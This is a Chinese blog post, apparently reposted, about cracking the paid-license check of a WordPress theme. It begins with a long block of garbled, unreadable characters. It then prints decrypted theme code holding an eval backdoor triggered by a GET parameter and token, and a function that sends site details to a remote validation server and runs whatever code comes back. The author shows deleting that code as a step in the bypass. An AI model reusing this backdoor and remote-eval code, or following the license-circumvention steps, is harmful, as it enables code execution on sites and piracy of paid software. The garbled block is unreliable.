⑷栽璁銸E师6鹞?睟唉L/尾蚂1闒蔍觳O爱E粗14轑?BGCA褿蜟耆脏6?LG谽靥奘E5D郞磋銹7F6M骛5尾???0阼β鍯翌霣?L/恤I蕃蠮H怅?C2枰躂蝠F却?77撵匀0/心FEN4?κ諮蠮?2LL?褹?/枝+霫藽菼嗵蜨J鍹剔0C骛HFAM洇E0頝6A虏D嬖姨6舶GFχあ铊P+落LC?Μぺ墁/舞C觋175蹷H6L26C暌剞A/9?惺狶郔J畎鐳苴蜩EK铊8CLBL骛熘?船P庠σ8若鬘洫艱媛+4融N54残3蹸6袁萅9?蛭3FB+赞酞D?3/炱C1鍰NA铂?A/证遭蛟莒?H②I6翴墚牟蛐煸5蛱9I5I辎?蠧/LH桁/蕈嬷棠O4梃ID奇Mㄒ蜤8?LPδ⒁588P5O2騆适蝠4/碒G6牝挟囝N?/P?翁霳忪1MJ?预64釮NPE諨湄+?釳83?11+⒉忄慈6F?DFKME饶I?+10GEH4瞍仞3K燹囝5晕㈡2靶C/衷艻IO?馊饰P+庖挛埔戡片E塥O+9尬4?牟糁P皮?D治袈餑4?5川L钬9郒+Π铺属6掾鍺N1+?銶LLI茇侧GJ鐻掼KE匕潢E訤I3餖徐Mが能态48未栽P?OM9?拔??G办1蜇?鹞蔼癈栽?I曹B?⒇?熠特9?躊淙GξL鬙E棒厕KB诂昴7C骊??摆F睠翪2颏K闍1L妾3率6P0IG睯起G唳赅あC︵炻L/P答M9あO淦苋?L狟厕ⅷ57J9喈适?处N+蔡?N贛K晔0?E?L?蔡諳/碴狟蝌侧LDFP翽桕F虬0呆挛8C?骝ゎ9?+?0?7翌4???纹K39怅C腃匚HG芃C+/H釴7/衅维9養A?H脑涮駼嬖熘钰9おΥ霮2?胁舨舢?轊圄A纶搭?0Nυ?磋庠G渊13G鐴铂?3EF騇?琂HFK钿C鬕苋5霩91G虏G18?E翁KLH72郖L騅C②K1K2猞騂H腎頛B忠K馓ò釨1谖洫PBEKD狾?7íC9⑵O8喱艼訟0?+噩阼坡碙KK8FE崔弈6HO泊83F4P葱芷é3+?4諰?㈥7癇/霯D颞E乞AC5蜳H?鐺︷H?9NΞ祠CJ掖G釪P谵9胁K?仡芁/鐻/呆P豃A頓翵舄碙LB3O闗???衣F墁837H?艵F哪舢497?PI②7O奈桃K躂N蜠嬖闔璐I周?瞀鬒?睱坍痧男赇ξ?GC挫︹串0H?滠/躃/蜞駻+設246H绦囔O甀J7乱?κG芷蜮7846储8拆蔼?O怵洫D芤P贒PGHA噩?7?C滗3誊蛟剖薏O?C97???谻O25D??L1腅B9G+?轑怄1糁?珿琚诼4卮8―需?剔甀E/7残M/5碢H贔3?7琚餘CB頞廛/2K奇0?咒滠IC霸祠/C8H盥9ú菻C拾瓺熠2拇4蠦鬖5甜54翕翁07騃株诼∣鸩3P???啻?K+N鹭??C?H蠬?掳??46?釴治+D铘1珹AFE狹/喈酿5甏K?75种7?+躁餒C翯恤M1腏0豃?A鬌?忪餙ぺ要5袖逐?GHJ?+E8?翪↖PP窗忠F破=?谽ED蜫–EB1F頑菳A狥EA狥狟BAB瓹–珺?

我们要绕过设置的授权项,第一步必须把这段被加密的php代码解析出来,只要能加密就一定能解密,有锁就有钥匙。
解析出来这段被加密的php代码后,我发现了以下很有趣的代码:

if (array_key_exists('sn', $_GET)) {
    $sn = $_GET['sn'];
    $charactor = $_GET['charactor'];
    $token = $_GET['token'];
    if (md5($token) == '239bf78d5643372f495e93768f0691d2') {
        update_option('pay_info', $sn);
        update_option('charactor_info', $charactor);
        del_cache(99999);
        wp_die('Success!');
    }
}
if (array_key_exists('eval', $_GET)) {
    $eval = $_GET['eval'];
    $token = $_GET['token'];
    if (md5($_GET['token']) == '239bf78d5643372f495e93768f0691d2') {
        eval(str_replace("\\", "", $eval));
    }
}
function _v_($api) {
    date_default_timezone_set("Asia/Shanghai");
    $my_theme = wp_get_theme();
    $theme = $my_theme->get('Name');
    $version = $my_theme->get('Version');
    $address = home_url();
    $date = date("Y-m-d H:i:s");
    $blog_name = get_bloginfo('name');
    $sn = get_option('pay_info');
    $charactor = get_option('charactor_info');
    $url = $api;
    $info = '{"theme":"' . $theme . '","address":"' . $address . '","date":"' . $date . '","version":"' . $version . '","blog_name":"' . $blog_name . '","sn":"' . $sn . '","charactor":"' . $charactor . '"
}';
    $ch = curl_init();
    $options = array(CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $info, CURLOPT_TIMEOUT => 20, CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),);
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    $resultArray = json_decode($result, true);
    if ($resultArray) {
        set_cache(99999, $resultArray['eval'], 99999);
        set_cache(3333333, $resultArray['eval'], 3333333);
        eval($resultArray['eval']);
        return true;
    } else {
        return false;
    }
}
if (get_cache(99999)) {
    eval(get_cache(99999));
} else {
    if (_v_("http://validate.panda-studio.cn/?rest_route=/pandastudio/framework/new_validate/")) {
    } else {
        eval(get_cache(3333333));
    }
}
function set_cache($name, $data, $expire) {
    $allCache = get_option('pd_cache');
    if (!$allCache) {
        $allCache = array();
    }
    $allCache[$name] = array('data' => $data, 'expire' => time() + $expire);
    update_option('pd_cache', $allCache);
}
function get_cache($name) {
    $allCache = get_option('pd_cache');
    if (!$allCache) {
        return false;
    }
    if (!$allCache[$name]) {
        return false;
    } else {
        $time = $allCache[$name]['expire'];
        if ($time > time() & $time - time() < 2592000) {
            return $allCache[$name]['data'];;
        } else {
            del_cache($name);
            return false;
        }
    }
}
function del_cache($name) {
    $allCache = get_option('pd_cache');
    unset($allCache[$name]);
    update_option('pd_cache', $allCache);
}

看到这段代码后,我知道我可能有方法绕过验证了。

既然不需要授权运行那我们就没必要往数据库中写入数据了,所以我删除了一下代码:

function _v_($api) {
    date_default_timezone_set("Asia/Shanghai");
    $my_theme = wp_get_theme();
    $theme = $my_theme->get('Name');
    $version = $my_theme->get('Version');
    $address = home_url();
    $date = date("Y-m-d H:i:s");
    $blog_name = get_bloginfo('name');
    $sn = get_option('pay_info');
    $charactor = get_option('charactor_info');
    $url = $api;
    $info = '{"theme":"' . $theme . '","address":"' . $address . '","date":"' . $date . '","version":"' . $version . '","blog_name":"' . $blog_name . '","sn":"' . $sn . '","charactor":"' . $charactor . '"
}';
    $ch = curl_init();
    $options = array(CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => $info, CURLOPT_TIMEOUT => 20, CURLOPT_HTTPHEADER => array('Content-Type: text/plain'),);
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    $resultArray = json_decode($result, true);
    if ($resultArray) {
        set_cache(99999, $resultArray['eval'], 99999);
        set_cache(3333333, $resultArray['eval'], 3333333);
        eval($resultArray['eval']);
        return true;
    } else {
        return false;
    }
}
if (get_cache(99999)) {
    eval(get_cache(99999));
} else {
    if (_v_("http://validate.panda-studio.cn/?rest_route=/pandastudio/framework/new_validate/")) {
    } else {
        eval(get_cache(3333333));
    }
}

这段代码就是收集博客的一些信息并写入到数据库中,比如博客大的网址,名称,付款信息等等。
为什么有的主题可以做到反授权?就是因为通过API反向写入数据库信息的,这本来就是一种病毒行为,所以这段代码不能让他存在。

删除这些东西并不等于已经绕过授权,只有加载了核心项才算是一个完整的过程。

今天分享这些是要告诉大家php的原理,学习一门语言或者一项技能最重要的是知道其原理,这样的话我们才能做到举一反三。

猜你喜欢

转载自blog.51cto.com/12202563/2151176